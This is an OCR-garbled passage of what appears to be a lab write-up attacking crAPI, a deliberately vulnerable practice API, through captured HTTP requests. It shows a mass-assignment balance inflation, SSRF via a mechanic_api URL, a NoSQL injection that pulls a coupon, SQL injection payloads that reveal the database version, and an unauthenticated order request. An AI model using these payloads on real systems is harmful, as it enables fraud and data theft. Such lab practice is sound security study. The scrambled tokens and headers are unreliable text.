& Accept-Encoding: gzip, deflate, br 5 Allow: GET, POST, PUT, HEAD, OPTIONS
7 Referer: http://127.0.0.1:8888/orders7order_id=35 7 Vary: origin, Cookie
5 Content-Type: application/json & X-Frame-Options: DENY
5 Authorization: Bearer S X-Content-Type-Options: nosniff
ey3hbGei 0f JSUZT 1N IS eszde)D)J'LZEEkZGRkLnZvbSIsImlhchchzMDgxM]M]Do;athwljuxNzYxNDEsMruALCbeleI]c)dXNlc)J 10 Referrer-policy: same-origin
h 11 Cross-Origin-Opener-Policy: same-origin

9.d8b0j yr1pNXTIEq A0 TWOBR] 1By 7XAgqt K121 22rZT 2cqup 40SNLaxyHp)_FUgT] jdmai SgECua _t
e Ay o T T N AT A A o S EA B sy
WirycUOr90bNLWXDCL t TdgEFHABDE7CKEYY Sl 5a715q] nAf ehZ4JY 2DyKRNEK A3 3 2- 401 A3BrnCG7xY 62 LvCe 2PaOPdGT phgByxadLmj U7 twsk

1> Content-Length: 250
3

qldoFagw 14 4
10 Connectio ep:alive vorders® :{
11 Cookis: chat_session_1d=76170b36- 68eb- 4720- 8d26- 438ac09a6b98 vidv:3s,
12 Sec-Fetch-Dest: empty rusern:{
13 Sec-Fetch-Mode: cors "email": "ed@dddd.vom",
14 Sec-Fetch-Site: same-origin “number" : "+25471234567"
15 Priority: u=0 },
15 Content-Length: 52 "product" :{
17 "id':1,
18] € “name? :"Seat!,
19 "status":"returned", R "price":"10.00",
20| ) "quanti ty" : 500000 | — » added JSON string altering the quantity "image_url":"images/seat.svg"
21 .
b and the status ¥ quanti £y ' :500000, » 3 success
"status":"returned”,
"transaction_id":"22a2ef4c-04d8- 496d-b048- bcO429513cd3",
"created_on": "2025-10-20T04:55:47. 433168"
3
}

Since we manipulated the quantity to 500,000 and the price of 1 is $10 so multiplying it to
get $5,000,000 but remember we initiated a request for 1 so the balance will be 5,000,090

CrAPI Dashboard | Shop | Community

< Shop

AVAILABLE BALANCE ] $5000090

Wheel Seat
$10.00 $10.00

Good Morning, jux (‘)

»final balance



< Past Orders

Seat
$5000000.00

Mon Oct 20 2025

Order Details

returned



Request Response
Pretty Raw  Hex  Hackvertor Pretty  Raw  Hex Hackvertor n
1[PUT) /identi ty/api/v2/user/videos/152 HITP/1.1 1 HTTP/1.1 200
> Host: 127.0.0.1:8888 : openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 : Mon, 20 Oct 2025 05:22:52 GMT
2 Accept: */* Content-Type: application/json
5 Accept-Language: en-US,en;q=0.5 Connection: keep-alive

Accept-Encoding: gzip, deflate, br
7 Referer: http://127.0.0.1:8888/my-profile

Content-Type: application/json

Authorization: Bearer

eyJhbGei 03 JSUZ 1N J9. ey Jzdwl i 03 112E8k ZGRkLnZvbST sTmhdCL 6MTc2MDgxMj M10Cwi ZXhwT j oxN2Y xNDESMTUALCIyb2x LT o3 dXNLci 3
9.d8b0j yr f1pNXTIEqAOTWOBR] 1 By 7X4gqiK 121 221 ZT 2cQup40SNLaxyHp_FUgT j KE4VVOVyEcw] dnqi SgECuaj_HnehANj FP- CdScd4sdny
U2HXFI 20MzPHy BXGf NI 0aNST quRUXbK AN - LmV_waHL Y LSUZIDr1 OAxkNY J3 7NMANIWOTEEVBNK] p JpMFAFQP24Thas GHSVZdz_TeTwSvcFH
WirycUOrS0bNUWXDCi tTdgEFHABDE7CKEYY Bl sa7)5qj nAf eHZ4)Y 2DyKRNEKASf qi 4Z- 401 A3BrneG7xY 62 yCe 2Pe0PAGT pMqBy xaOUnj u7 twsk
qldsFagy

10 Content-Length: 62

11 Origin: http://127.0.0.1:8888

ook at_session_1d=76170b36- 68eb- 4720- 8d26- 438ac09a6b98
14 Sec Fetch Dest:
15 Sec-Fetch-Mode
Sec-Fetch-Site:

same-origin

Vary: Origin
7 Vary: Access-Control-Request-Method
ccess- Control-Request-Headers
Access-Control.- Allow-Origin:
X-Content-Type-Options: nosniff
X-XSS-Protection: 0

no-cache
co
Strict-Transport-Security:
X-Frame-Options: DENY
Content-Lengt}

5054225

"idv:1s2,

: no-cache, no-store, max-age=0, must-revalidate
h

max- age=31536000 ; includesubDomains

fuidao_nanet:*Bsba hatsipp Video 2025- 10,16 3t 21.S9.15.m

=N altable ihformation to use to alter request

Priority: u= Fconversion_params”:*-y_codec
"profilevideo s
{ "data:image/ , D IPC29t ARAAGE] LYHOBAAAAAQAAAAAAAAACAAARAABT L L vb3Y AAABSbXZ
"videoName" :*Baba WhatsApp Video 2025-10-18 at 21.59.15.mpa" EQAFYPC;
3 otydHoh hi AAAAAARY AAAAABA
| ARAAAL I b AVCQA
ARARAC. bW JGRPbMY ARRACZHUTZGA
HVybC MVAAACCC3RE: o2 AUAAE
ganAEL EAAAAzYXZ]QWFkAE//4QAdZ2QAHGkaAtAnaagICAnA
22D hAjLAAAAAY
AAEAAAQAAAAAA AAAAAAQAAC
==
Request Response
Pretty  Raw  Hex  Hackeertor n Pretty  Raw  Hex Hackvertor n
1 PUT /identity/api/v2/user/videos/152 HITP/1.1 1 HTTP/1.1 200
Host: 127.0.0.1:8888 Server: openresty/1.27.1.2
User-Agent: Mozilla/s.0 (XI1; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Mon, 20 Oct 2025 05:34:23 GMT
Accept: */x Content-Type: application/json
Accept-Language: en-US, e .5 Connection: keep-alive
Accept-Encoding: gzip, doilate, Vary: Origin

Referer: http://127.0.0.1:8888/my-profile
Content-Type: application/json

Authorization: Bearer

eyJhbGei 01ISUZTINGJ9. eyd 2dWT1 019 1ZEBkZGRLnZvbST sTml hdCI 6MT c2MDgxMj M100wi ZXhuT j oxNZY xNDESMTUALCI yb2x LT joi d¥Lei )
9.d8b0j yrfipNXT JEGAOTWOBP] i By 7XAgqi K1ZT 22 ZT 2cQupAOSNLaxyHnp3_FUGT j KEAVVOVyEcw ] dnqi 9gECuaj_HnehAN; FP- CdScdasdny
U2HiXF3 20MzPHyBXGTNI0aNST quRLXbKAmnn- LmV_waHLHM LSUZEDr 5 0AxNY 3 7NMANTWO EEVbMNK j pIpMFdFQP24ThASGMSVZdz_TeTwSvcFH

Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Access-Control- Allow-Origin:
X-Content-Type-Options: nosniff
X-XSS-Protection: 0

Cache-Control:

no-cache, no-store, max-age=0, must-revalidate

WirycUOreObNLWXDCL tTdgEFHGBDE7CKEYY8Lsa735q] nAf eHZ43Y 2DyKRnEKASf qi.qZ- 401 A38rncG7xY 62 Ly Ce2PeOPAGT pHqBy xaOUn 7 twsk Pragma: no-cache
qldsFagy Expires: 0
Content-Length: 109 Strice-Transport-Security: max. sge-21536000 ; includeSubbonsing
origin: http://127.0.0.1:5658 X-Frame-Optio

6170b36- 68eb - 4720- 8d26- 438ac 09a6b98

chat_session i

Camtans. Longen: soaaszs

{

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors "id":152,
Sec-Fetch-Site: same-origin "video_name":"Baba WhatsApp Video 2025-10-18 at 21.59.15.mpa"
7 Priority: u=o "conversion_params" :[ squad & and baba",} »Success
profilevideo’ :
{ “data:image;. , D IpC29tAAAAGG] LYHOBAAAAAQAAAAAAAAACAAAAAABT Lmlvb3Y AAABSbXZ.
*videoNane® :"Baba Whatsipp Video 2025:10-18 at 21.59.15.mpd", EQAFYPC!
“conversion_params® {" squad 9 and baba" DilydHIh hi ARARAARYY! AAAAABA
AAAAALC 1Tmk b AVCQA
| AARAAC, \ UEbWL buihk JGRpbY ARRACZHI1ZgA
Y HVybC/ MVAAACCC3RE: Rzl OAUAAE
. . . QAAABT / /BAARAZYXZ] QuFk AB/ / 4QAdZ2QAHEX Tk At A0aagL CAOA
added conversion_params in request and its value AAD hAjLAAAAAY 04
— MEAMQMMM ARAAAAQAAC
AAAAAA AAAAAAQAACGAAAA
AAAAAA
AEAAAT AAAAAAQAAC AAAAAA
A AAAAAAQAAC AAAAAAQAAAAAAAAA
BAAC ARAAAAQAAC
EARAQAAAAAA AAAAAAQAAC

Got success by being able to change the conversion_params.

7. Server Side Request Forgery

SSRF is a type of security vulnerability that occurs when an attacker can manipulate the
requests made by a web application to access resources on the server or other internal

systems that they should not have access to.
In the contact mechanic form there was a URL that was being used on the request.


https://owasp.org/API-Security/editions/2023/en/0xa7-server-side-request-forgery/

Request

Pretty  Raw  Hex Hackvertor

1 POST sworkshop/api/merchant/contact_nechanic HTTP/1.1
Host: 127.0.0.1:8888

User-Agent: Mozilla/s.0 (XLL; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0
Accept: */
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/contact- mechanic?VIN=BREJNX 1BY 4322VKE8
Content-Type: application/json
Authorization: Bearer
eyahbGei 01 I SUZT INi J9. eIz dWL 1 01.01ZEBkZGRKLNZvbSTST mLhdCTEMT c2HDgxM] MLOGW: ZXhj/T j oxNzY XNDESMTUAL CIyb2x 1T 01 dXNLci d
9.d8b0jyrfi pNXTIEGASTWOBP] 1By 7XAgqiK 12T 22r ZT2cQup0shLaxyHnkip J_FUTkE4VVOVyEcw] dngi SgECuaj_HnehaN; FP- Cdscdasdny
UZWXF3 20MzPHY BXGF NI OaNST qwRUXbKAmNn - Lm/_waHLHM: LSUZIDr i 0Ax kNY J1 ZNMANTWOf EEVBMNK j pdp MFAFQP24T hasGMSVZdz_TeThsveFH
WirycUOr9obNLWXDCI tTdgEFHQBDE7CKBY Y8l 527501 nAfe HZA1Y 2DyKRN 8K43f qi gZ- 401 A38rncG7xY 6z LvCe2Pe0PAGTpMgByxaOUmj u7 twsk
qldeFagy
0 Content-Length: 268
origin: http://127.0.0.1:8888

5. ke J8

Codkie: chat_session i
Sec-Fetch-Dest: empty
Sec-Fetch-Mode
Sec-Fetch-Site: same-origin
Priority: u=

76170b36- 682b- 4720- 8d26- 438ac0926b 98

{
“mechanic_code* :"TRAC_JVE",
“problem_details":'I'm traveling to Bondo need my car serviced for long distance.”,
“yinr s SREINXLBYA32ZNKES!
“mechanic_api” :*http://127.0.0.1:8888/workshop/api/mechanic/receive_report”,
"Fepeat_request_if_failed":false, ~
“nunber_of_repeats’:1

Attack Vector
URL in use in request

2 Cross-Origin-opener-Policy:

Response
Pretty  Raw  Hex Hackvertor
1 HTTP/1.1 200 OK

Server: openresty/1.27.1.2

Date: Mon, 20 Oct 2025 ©5:47:20 GHT
Content-Type: application/json
Connection: keep-alive

Allow: POST, OPTIONS

Vary: origin, Cookie

access- control-allow-origin: *
X-Frame-Options: DENY
X-Content-Type- Options: nosniff
Referrer-Policy: same-origin
same-origin

Content-Length: 154

*response_fron mechanic_apit:{
‘id

123,
“sent:true,
"report_link":*http://127.0.0. 1:8888/workshop/api /mechanic/mechani c_repor t?report_id=23"

"status’:200 |

\
URL response

We will change the value of mechanic_api to https:google.com and see if it will respond.

Request

Pretty  Raw  Hex  Hackvertor

1 POST /workshop/api /merchant/contact_mechanic HTTP/1.1

Host: 127.0.0.1:8888
User-Agent: Mozilla/5.0 (X11;
Accept: */*
Accept-Language:
Accept-Encoding: gzip, deflate, br
Referer: http://127.0.0.1:8888/contact-mechani c?VIN-BREINX1BY4322MKE8
Content-Type: application/json
Authorization: Bearer
eyJhbGei01ISUZI ING J9. ey JzdwI1011ZEBK ZGRkLnZvb STSTmLhdCI6MT c2MDgxMjM10Cwi ZXhwl j oXNzY XNDE3MTUALCIyb2x11joidXNLeid
5.d8b0j yr f1pNXT JEGAOTWOBP ] 1 By 7XAgqi K121 z2r 2T 2c QupAOSNLaxyHrip ]_FUgT j kE4VVOVYEcw] dnqi 9gECuaj_HnehaN; FP- Cdscd4Sdny
U2HXFI 20MzPHyBXGT NI 0aNST quRUXbKAmNN - Lmy_waHLHWE L SUZIDr 3 0AxkNY J3 7NMAR WOF EEVBINK] pIpMFdFQP24T hs GMSVZdz_TeTWSverH
WirycUOre0bNLWXDCL tTdgEFHABDE7CKEY Y Elsa7)Sqj AT eHZ4IY 2DyKRNEKASf qi aZ- 401 A3BrncG7xY 6z LyCe2PeOPGT pMqBy xa0Umj u7twsk
qldsFagy
10 Content-Length: 228
11 Origin: http://127.0.0.1:8888
12 Connection:_keep:alive

Cookie: chat_session_id=76170h36- 68eb- 4720- 8d26- 438ac09a6b98

Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0

Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0

IS

RS

en-Us, en;q=0.5

"mechanic_code" : "TRAC_IME" ,
"problen_details':"I'm traveling to Bondo need my car serviced for long distance.”,
“yin®:"BREINX1BYA322MKGR"
"mechanic_api®: "https://google.conf ,
“repeat_request_if_faited*fatse;
“number_of _repeats:1

™ changed request URL

It successfully responded to the google.com

8. Security Misconfiguration

Response
) Pretty

server:
Date:
Content-Type:
Connection:

Raw

Hex
1 HTTP/1.1 200 OK

Hackvertor

»Success code

openresty/1.27.1.2
Mon, 20 Oct 2025 06:02:36 GMT
application/json
keep-alive

Allow: POST, OPTIONS

vary:

origin, Cookie

access-control-allow-origin: *
X-Frame-Options: DENY

0 X-Content-Type-Options:
Referrer-Policy:
Cross-Origin-Opener-Policy:
Content-Length:

1

nosniff
same-origin

same-origin
19200

"response_from_mechanic_api”:
"<tdoctype html><html itemscope=\"\" itemtype=\"http://schema.org/WebPage\" lang=\"sw-KE\"><head><neta cont
ent=\"text/htnl; charset=UTF-8\" http- equiv=\"Content-Type\"><meta content=\'/images/branding/googleg/1x/gq
ogleg_standard_color_128dp.png\" itemprop=\"image\"><title>Google</title><script nonce=\"iAS]-DiS_V7RCQgevy
STBW\">(function(){var _g={KEI:'fND1aNSVAZeQSOUP-ubyiAU' ,KEXPT: ' 0, 18168, 184686, 2, 4037189, 78813, 16105, 201864
,142932, 200044, 67283005, 161322, 56223, 30637, 9138, 4600, 328, 6225, 64164, 15050, 48, 15566, 30376, 39237, 16341, 13643,
430,587, 4049, 1258, 353, 18880, 9728, 3856, 5774, 15028, 6616, 3305, 2662, 4719, 2549, 9256, 6251, 35, 3420, 13484, 2448, 965
o,5683, 3605, 593, 17178, 1515, 1835, 15930, 15321, 550, 6026, 1, 1549, 8081, 1033, 16179, 2747, 2, 4, 1,321,780, 63, 347, 3912)
€67, 2250, 4757, 42,510,858, 2160, 2458, 2 8118, 028, 27741494, 463, 187, 4, 1279, 21,104, 2355, 47,5543, 2, 1247, <52,

37, 16,5034, 4655, 218, 158, 4, 2083, 270, 1869, 2, 676, 2229, 4494, 595, 19, 3007, 15, 781, 3141, 3,913, 1553, 1467, 1182,
2 a0, a2 350 a0 i 1 o0 150 1400, D 4. 200 230,20, Gt P 105 3 0% 193, 11012, 4. 1. 78 26 ]
,3175, 86, 236,616, 229,611, 1436, 446, 86, 1053, 662, 13, 51, 150, 831, 1127, 9, 27, 8, 1154, 1901, 1012, 1745, 4,1305, 18, 310, &
55,4, 498, 1781,97, 2662, 1861, 3017, 317, 601, 558, 667, 288, 1311, 102, 890, 1015, 5,252, 11, 1,644, 205, 192, 486, 4, 10, 1715,
754, 2050, 2234, 361,262, 1561, 2185, 165, 64, 665, 88, 563, 1077, 205, 438, 293, 1337, 323, 183, 123, 67, 103, 207, 199, 486, 7,34
8,1452,421,260,5, 181,86,2,9,1,79,7,4,2,81,743,6, 1045, 245, 296, 677,371, 3, 22, 80,99, 1491 , 563, 506, 317, 459, 693, 3,
426, 22,950, 29,1446, 759, 235, 953, 604, 2, 1139, 890, 1457, 67, 391, 576, 813, 767, 794, 4,107,203, 1,77, 275,132, 476, 70,273
,25,403,2362, 47,496, 157, 419, 358, 97, 423, 201,432, 3, 159, 358, 253, 2, 111, 1589, 144, 856, 1, 2, 993, 704, 20683730, 416077

Got a response

1,2,1120,1864, 8657086, 395563, 416, 1077914, 915034, 10590363, 4' , | KOPI :89978449} ; (function(){var a; ((4
indow.google) ==nul170:a.stvsc) 7google. kEI= : ;1) .call(this);}) () (function() {google. 5
webhp ; googLe . kHL=" sw-KE' jgoogle. rdn=false;}) O (function() {\nvar gothis||self;function k() {return windd
w.googlestwindow. google.kOPT| [null};var 1
ute(\"eid\*)));)
bute(\"leid\")));)a=a.parentNode; return b}function q(a){/*htt
ps:\"&&(google. mLs&google.ml (Error (\*a\"), 11, {src:a, glmm: 1}) , a=
"\";b.search(\"Sei. L66(emy"gein\ Hen{c) b search(\'6lei—\t)— 16slc-p(c) ealer-\ "aleiny14c)) v
.search(\"scshid=\ 1s6at==\"slh\";c=\"s2x=\"+Date.now() . tostring () ;g._cshids&fs&(c+=\"scshid=
() se(cr=\"opi=\"+d); return\“/\“*(ﬁ\\‘”gen 204\")+\"7atyp=iscto\ ¥String(a)+\ " Scad= ‘”+(b+e+c)) A

An attack vulnerability that attackers tend to use is injection. For databases 2 ways are
using SQL injection for databases using SQL and NOSQL for databases not using SQL such as

MongoDB, Redis, Cassandra, Neo4j,

NOSQL

NoSQL Injection is a type of security vulnerability that occurs in applications that use
NoSQL databases, such as MongoDB, Cassandra, or Redis when user-supplied data is not
properly sanitized or validated before being used in database queries.


http://google.com
http://google.com

In the shop page there is the option to add coupon code and this is its request captured.
- .

Enter Coupon Code X

baba

Invalid Coupon Code

Validate

| % ]

a: =

Request Response

pretty  Raw  Hex  Hadertor =@ w Pretty  Raw  Hex  Render  Hackvertor G
1 POST /community/api/v2/coupon/validate-coupon HTTP/1.1 1 HTTP/1.1 500 Internal Server Error | E——
2 Host: 127.0.0.1:8888 2 Server: openresty/1.27.1.2 error code
S User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 S Date: Mon, 20 Oct 2025 06:37:32 GMT
4 Accept: */* 4 Content-Type: application/json
5 Accept-Language: en-US,en;q=0.5 5 Connection: keep-alive
5 Accept-Encoding: gzip, deflate, br 5 Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
7 Referer: http://127.0.0.1:8888/shop 7 Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
5 Content-Type: application/json 5 Access-Control-Allow-Origin: *
o Authorization: Bearer o Content-Length: 3

eyIhbGei 01 JSUZT 1Ni J9. ey IzdWT1 0i J1ZEBkZGRkLNZvbSTsTmlhdCI 6MT c2MDgxMj M10Cwi ZXhwI j oxNzY xNDESMTUALCIyb2x 1T joidXNLecid |10

9.d8b0j yrfipNXTIEGAOTWOBP] i By7X4gqiK 12T 22rZT 2cQuUpA0SNLaxyHnbpJ_FUGT KE4VVOVyECwW] dmqi SgECUaj_HnehANjFP- Cdscd4sdny |11 |{

Uz4iXF3 20MzPHy 8XGf NJ 0aNST qwRUXbKA4mnn - Lmy_waHL HMi LSUZIDri OAxkNY J1 7NMARTWOf EEVBMNK ] pJpMFAFQP24Th4s GMSVZdz_TeTWSvcFH 1

WrycUOr9obNLWXDCi tTdgEFHAEDS7CKYY8lsa7J5q i nAf eHz4JY 2Dy qiqz-40i. ¥Ce2PeOPdGT pM Oumju7twsk 12

qldsFagw
0 Content-Length: 22
1 Origin: http://127.0.0.1:8888
2 Connection:_keep:alive
3 G 76170b36- 68eb - 4720- 8d26- 438ac09a6b98 a
4 expected output response
s
s same-origin
7 priority: u=0
o
ot

"coupon_code" : "baba" —
M pon- > attack vector

\A
user input

Using NOSQL payload i used { “$ne“:1} in the user input ($ne not equal)

==
Request Response
Pretty  Raw  Hex  Hackvertor *@ Pretty  Raw  Hex  Render  Hackvertor e
1 POST /communi ty/api/v2/coupon/validate-coupon HTTP/1.1 T HTTP/1.1 200 0K
2 Host: 127.0.0.1:8888 2 Server: openresty/1.27.1.2
= User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 = Date: Mon, 20 Oct 2025 06:48:15 GMT
4 Accept: */* 4 Content-Type: application/json
5 Accept-Language: en-US,en;q=0.5 5 Connectiol -a
& Accept-Encoding: gzip, deflate, br & Access-Control-Allow-Headers: Accept, Content-Type, Content-Length, Accept-Encoding, X-CSRF-Token, Authorization
7 Referer: http://127.0.0.1:8888/shop 7 Access-Control-Allow-Methods: POST, GET, OPTIONS, PUT, DELETE
& Content-Type: application/json & Access-Control-Allow-Origin: *
o Authorization: Bearer o Content-Length: 79
eyJhbGei 03 JSUZI IN: J9. ey Jzdw i 03 112E8k ZGRkLnZvbST sTmLhdCL 6MTc2MDgxMj M10Cwi ZXhwT j oxNzYxNDESMTUALCIyb2x T joidiNLeid 10
9.d8bOj yr f1pNXTIEqAOTWOBR ] 1 By 7X4gqiK 121 221 2T 2cQup40SNLaxyHnp )_FUgT j KE4VVOVyEcw] dnqi SgECuaj_HnehaNjFP- Cdscddsdny |11 |{
U2HXFI 20MzPHy 8XGf N3 0aNST quRUXbKAmn - Lmy_waHLHML LSUZIDr3 0AxKNY J3 7NMARIWOT EEVBMNK } I pMFdFQP24T hASGMEVZdz_eTWSveFH "coupon_code" : *TRACO7S" ,
WirycUOre0bNUWXDCi tTdgEFHABDE7CKEY Y8l sa7]SqjnAf eHZ4)Y 2Dy qiqz- 401 VCe2PeOPAGTpMAByxaOUmj u7twsk "amount”:"75" »Success got the coupon_code
qldsFagy "CreatedAt” :"2025- 10- 16T18:
10 Content-Length: 26 b
11 Origin: http://127.0.0.1:8888 Io%]

6170b36- 68eb - 4720- 8d26- 438ac09a6b98

14 Sec-Fetch-Dest: empty

15 Sec-Fetch-Mode: cors

16 Sec-Fetch-Site: same-origin
17 Priority: u=0

g {
reoupen coder: - NOSQL payload
}



https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/NoSQL%20Injection

We can use the coupon and see if it works, the initial Available Balance was $5000090

° Success
Coupon applied

The Available Balance now is $5000165

Sql injection
P— =

Enter Coupon Code
TRACOTS

TRACO75 Coupon code is already claimed by you!! Please
try with another coupon code

[ Validate ]

A )

Trying to repeat the process we get the above error saying the coupon is used.

It led us to try and see if it is liable to SQL injection. So we used the payload ‘ or 1=1-- and
to our surprise it accepted, meaning its vulnerable to SQL injection.




Request Response

Pretty Raw  Hex  Hackvertor = | pretty Raw  Hex Hackvertor
1 POST /workshop/api/shop/apply_coupon HITR/1.1 T HTTP/1.1 400 Bad Request
Host: 127.0.0.1:8888 2 Server: openresty/1.27.1.2
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 Date: Mon, 20 Oct 2025 07:18:44 GMT

Accept: */* 4 Content-Type: application/json
5 Accept-Language: en-US,en;q=0.5 5 Connection: keep-alive
Accept-Encoding: gzip, deflate, br 5 Allow: POST, OPTIONS
7 Referer /7127.0.0.1:8888/shop 7 Vary: origin, Cookie

access-control-allow-origin:
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: same-origin

> Cross-Origin-Opener-Policy: same-origin
5 Content-Length: 97

Content-Type: application/json
Authorization: Bearer

eyJhbGei 03 JSUZ 1N J9. ey Jzdwl i 03 112E8k ZGRkLnZvbST sTmhdCL 6MTc2MDgxMj M10Cwi ZXhwT j oxN2Y xNDESMTUALCIyb2x LT o3 dXNLci 3
9.d8b0j yr f1pNXTIEqAOTWOBR] 1 By 7X4gqiK 121 221 ZT 2cQup40SNLaxyHp_FUgT j KE4VVOVyEcw] dnqi SgECuaj_HnehANj FP- CdScd4sdny
U2HXFI 20MzPHy BXGf NI 0aNST quRUXbK AN - LmV_waHL Y LSUZIDr1 OAxkNY J3 7NMANIWOTEEVBNK] p JpMFAFQP24Thas GHSVZdz_TeTwSvcFH
WirycUOrS0bNUWXDCi tTdgEFHABDE7CKEYY Bl sa7)5qj nAf eHZ4)Y 2DyKRNEKASf qi 4Z- 401 A3BrneG7xY 62 yCe 2Pe0PAGT pMqBy xaOUnj u7 twsk
qldsFagy 4
o Content-Length: 45 s €

11 Origin: http://127.0.0.1:8888 "message" : "TRACO7S Coupon code is already claimed by you!! Please try with another coupon code
Connection; keep:alive ¥

1=76170b36- 68eb - 4720- 8426- 438ac09a6b98

Sec-Fetch-Deat: empty

5 Sec-Fetch-Mode: cors

Sec-Fetch-Site: same-origin

Priority: u=4

R success it returned the message
"coupon_code” : "TRACO75 or_1=1--", —»sql payload on user input

EMOUTt* 175

So trying to know the type of the database. Using various payloads that we got from SQL
injection we settled on ‘; select version() since that was what we ran successfully.

Request Response

Pretty Raw  Hex  Hackeertor n Pretty  Raw  Hex Hackvertor

1 PosT /wurkshup/ap)/shup/apply coupon HTTP/1.1 1 HTTP/1.1 400 Bad Request

> Host: 127.0.0. 2 Server: openresty/1.27.1.2
User-Agent : Muz)lla/S.O (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 3 Date: Mon, 20 Oct 2025 07:32:21 GMT
Accept: */x 4 Content-Type: application/json

Accept-Language: en-US,en;q=0.5 Connection: keep-alive
Accept-Encoding: gzip, deflate, br Allow: POST, OPTIONS
Referer: http://127.0.0.1:8888/shop 7 Vary: origin, Cookie
Content-Type: application/json access-control-allow-origin:
o Authorization: Bearer X-Frame-Options: DENY

yIhbGei 0LISUZT INGJ9. eydzdWT 1 01 J1ZEBKZGRKLnZvbST sIml hdCI6MT ¢ 2MDgxM] M10Cwi ZXhw] § 0XNZY xNDESMTUALCIyb2x LT jod dXNLcid X-Content-Type-Options: nosniff
9.d8b0j y rfipNXT JEGAOTWOBP] i By 7XAgqi K 121 22r ZT 2cQupA0SNLaxyHnkp)_FUGT j kEAVVOVYEcw] dmai 9gECUa]_HnehAN] FP- CdScd4Sdny Referrer-Policy: same-origin
UzWiXF3 20MzPHyBXGTNI0aNST qRLIXbKAmAN - Lm/_waHLHML L SUZIDri OAxkNY.J1 7NMARTWOF EEVBINK } pIpMFdFQP24ThAsGMSVZdz_TeTWSYCFH |12 Cross-Origin-Opener-Policy: same-origin
WirycUOrS0bNLWXDCL tTdgEFHqBDB7CKEYY8lsa7]5q] nAf eHZ4JY 2DyKRNEKA3f qi 4Z- 401 A38rneG7xY 621y Ce2PeOPdGTpMgBy xa0Umj u7 twsk Content-Length: 206
qldoFagw
Content-Length: 58
origin: http://127.0.0

g

“nessage”

"PostgresqL 14.19 (Debian 14.19-1.pgdgl3+1) on x86_64-pc- Linux-gnu, compiled by gec (Debian 14.2.0-19) 14.2

Cookie: chat_session_id=76170b36- 68eb- 4720- 8d26- 438ac09a6bo8 .0, 64-bit Coupon code is already claimed by you!! Please try with another coupon code"

Sec-Fetch-Dest: empty 1

5 Sec-Fetch-Mode:

Sec-Fetch-Site: same-origin

17 Prioritys u=a

1 sql payload for database
" coupon_code" :"TRACO7S' ; select version()--" ——

samounth 175 — = version/type v
i sql response for database type

The database is a POSTGRESQL version 14.19.

9. Improper Inventory Management

Trying to see if there is an endpoint that doesn’t need authentication permissions, checking
if the user claiming to be the person is indeed the person.
Created a new order order ID 36 to capture its request:

Request Response

Pretty Raw Hex Hackvertor =

1 GET /workshop/api/shop/orders/36 HTTP/1.1

Host: 127.0.0.1:8888

User-Agent: Mozilla/5.0 (¥11; Linux x86_64; rv:128.0) Gecko/20160101 Firefox/128.0

Accept: #/*

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate, br

Referer: http://127.0.0.1:8888/orders?order_id=36 . .

Content-Type: application/]son the authentication token
Authorization: Bearer

eyJhbGei 01 SUZT 1NL J9. ey JzdWl 101 11ZEBk ZGRkLNZvb ST sTmLhdCI 6MT ¢ 2MDgxMj MLOCWL ZXhwI j 0xNzY xNDESMTUALCIyb2x 11 oddXNlcid
9.d8b0]yrfipNXTIEGACTWOBP] 1By 7X4gqi K 12122 r ZT 2cQup40SNLax yHNWpJ_FUgT jKE4VVOVyEcw] dmql 9gECua]j_HnehAN] FP- Cdscdasdny
UzWXF] ZoMzPHYBXGF NI 0aNST quRUXbKAmAN - Lmy_waHLHMi LSUZIDr1 0AxkNY 11 ZNMANTWOF EEVbMNK ] p JpMFAFQP24T has GMSVZdz_TeTWSweFH
WrycUorSebNIWXDC £TdgEFHQBDE7CKEYYSLsa7)5qinAf eHZ41Y 2DyKRNEK 43F qi qZ- 401 A38rncG7xY 62 LvCe2PeOPd GT pMaSy xalmj u7twsk
qldoFagw

Connection: keep-alive
Cookie: chat_session_1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
s Priority: u=4

76170b36- 68eb - 4720- 8d26- 438ac09a6ho8

So we will try to remove the authentication token to see if we will get to see the data
without being verified.


https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-examining-the-database-in-sql-injection-attacks/sql-injection/examining-the-database/querying-the-database-type-and-version
https://portswigger.net/web-security/learning-paths/sql-injection/sql-injection-examining-the-database-in-sql-injection-attacks/sql-injection/examining-the-database/querying-the-database-type-and-version
https://owasp.org/API-Security/editions/2023/en/0xa9-improper-inventory-management/

Request Response

Pretty  Raw  Hex  Hackvertor = | pretty Raw  Hex Hackvertor
1 GET /workshop/api /shop/orders/36 HTTP/1.1 1 HTTP/1.1 200 OK

> Host: 127.0.0.1:8888 > Server: openresty/1.27.1.2

5 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0 5 Date: Mon, 20 Oct 2025 08:42:10 GMT
4 Accept: */* 4 Content-Type: application/json

Accept-Language: en-US,en;q=0.5 s
& Accept-Encoding: gzip, deflate, br

7 Referer: http://127.0.0.1:8888/orders?order_id=36
5 Content-Type: application/jsen

Connection: keep-alive

Allow: GET, POST, PUT, HEAD, OPTIONS
Vary: origin, Cookie
X-Frame-Options: DENY

5 [Authorizationd empty value X-Content-Type-Options: nosniff
T alive 0 Referrer-Policy: same-origin
